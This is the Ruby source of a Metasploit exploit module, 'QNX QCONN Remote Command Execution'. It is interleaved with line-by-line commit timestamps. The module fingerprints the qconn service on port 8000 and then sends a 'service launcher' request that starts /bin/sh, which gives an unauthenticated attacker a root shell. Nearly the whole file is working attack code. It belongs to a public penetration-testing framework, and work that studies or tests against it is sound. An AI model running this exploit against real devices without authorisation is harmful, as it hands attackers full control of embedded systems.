2012-09-30 07:51:08 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-09-30 07:51:08 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "QNX QCONN Remote Command Execution Vulnerability",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in the qconn component of
|
|
|
|
QNX Neutrino which can be abused to allow unauthenticated users to
|
|
|
|
execute arbitrary commands under the context of the 'root' user.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'David Odell', # Discovery
|
|
|
|
'Mor!p3r <moriper[at]gmail.com>', # PoC
|
|
|
|
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '86672'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['EDB', '21520'],
|
|
|
|
['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
|
|
|
|
['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html']
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => '',
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd_interact',
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'WfsDelay' => 10,
|
|
|
|
'PAYLOAD' => 'cmd/unix/interact',
|
|
|
|
},
|
|
|
|
'Platform' => 'unix', # QNX Neutrino
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Tested on QNX Neutrino 6.5 SP1
|
|
|
|
['Automatic Targeting', { 'auto' => true }]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Sep 4 2012',
|
|
|
|
'DefaultTarget' => 0))
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8000)
|
|
|
|
], self.class)
|
|
|
|
end
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
@peer = "#{rhost}:#{rport}"
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# send check
|
|
|
|
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
|
2014-01-21 19:03:36 +00:00
|
|
|
vprint_status("#{@peer} - Sending check")
|
2013-08-30 21:28:54 +00:00
|
|
|
connect
|
|
|
|
req = "service launcher\n"
|
|
|
|
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
|
|
|
|
sock.put(req)
|
2014-06-28 20:48:58 +00:00
|
|
|
res = sock.get_once(-1, 10)
|
2013-08-30 21:28:54 +00:00
|
|
|
disconnect
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# check response
|
|
|
|
if res and res =~ /#{fingerprint}/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
elsif res and res =~ /QCONN/
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
else
|
2014-01-21 19:03:36 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
@peer = "#{rhost}:#{rport}"
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# send payload
|
|
|
|
req = "service launcher\n"
|
|
|
|
req << "start/flags run /bin/sh -\n"
|
|
|
|
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
|
|
|
|
connect
|
|
|
|
sock.put(req)
|
2014-06-28 20:48:58 +00:00
|
|
|
res = sock.get_once(-1, 10)
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# check response
|
|
|
|
if res and res =~ /No controlling tty/
|
|
|
|
print_good("#{@peer} - Payload sent successfully")
|
|
|
|
else
|
|
|
|
print_error("#{@peer} - Sending payload failed")
|
|
|
|
end
|
|
|
|
handler
|
|
|
|
disconnect
|
2012-09-30 07:51:08 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-09-30 07:51:08 +00:00
|
|
|
end
|